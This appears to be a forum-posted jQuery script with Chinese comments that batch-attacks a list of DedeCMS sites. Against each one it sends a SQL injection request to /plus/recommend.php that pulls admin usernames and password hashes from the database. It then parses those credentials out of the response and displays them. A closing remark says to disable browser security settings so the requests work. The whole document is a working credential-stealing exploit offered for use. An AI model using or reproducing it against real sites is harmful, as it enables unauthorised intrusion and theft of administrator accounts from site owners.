|
- var temp = 0;//定义全局临时变量,用于后面的线程区分! 为什么呢,因为浏览器中的事件每一个都是平级线程,在同一层的事件会同时执行
- var txtUrl;//定义全局变量用于记录批量url拆分后的url数组
- $(function () {
- $("#btnOK").click(function () { //执行按钮点击操作
-
- $("#content").empty();//清空结果集中内容,等待新结果出现
- temp = 0;//初始化临时变量
- txtUrl = $("#txtUrl").val();//获取输入的url框内容
- txtUrl = txtUrl.split("\n");//把输入的url内容按换行分割成数组 已达到批量操作
- for (var a = 0; a < txtUrl.length; a++) {//循环url数组分别进行AJAX GET模式访问远程
- $.ajax({ //AJAX操作
- url: "http://" + txtUrl[a] + "/plus/recommend.php/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5C%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9%20from%20`%23@__admin`%23",
- type: "GET",
- dataType: "html",
- success: function (data) {//AJAX成功时执行的操作
- var contentHTML = "<div class='JG'><h1>" + txtUrl[temp] + "</h1>"; //拼合结果集
- temp++;//更具AJAX执行的成功次数来对临时变量进行自增
- var info = $(data).find(".sp-title").find("h2").html(); //获取返回html的制定内容 这里获取的是账号密码
- info = info.replace("推荐:", ""); //对获取的内容进行去除多余字符
- var infoArr = info.split(",");//对返回的内容进行分割
- for (var i = 0; i < infoArr.length; i++) {
- var userInfo = infoArr[i].split("#");//对分割后的子项内容分割
- contentHTML += "<p>账号:" + userInfo[0] + " 密码:" + userInfo[1] + "</p>";//拼合入结果集
- }
- contentHTML += "</div>";//结果集拼合结束
- $("#content").append(contentHTML);//把结果集输出到页面
- },
- error: function (err) {//AJAX异常时执行的操作
- temp++;
- alert(err);
- }
- });
- }
- });
- })
复制代码 因为谷歌和火狐浏览器默认安全设置是不允许访问远端资源,所以使用时要关闭安全设定,相关文章:
http://hi.baidu.com/libaohuimsn/item/4c1ab997a2e25bd67b7f016b
|
|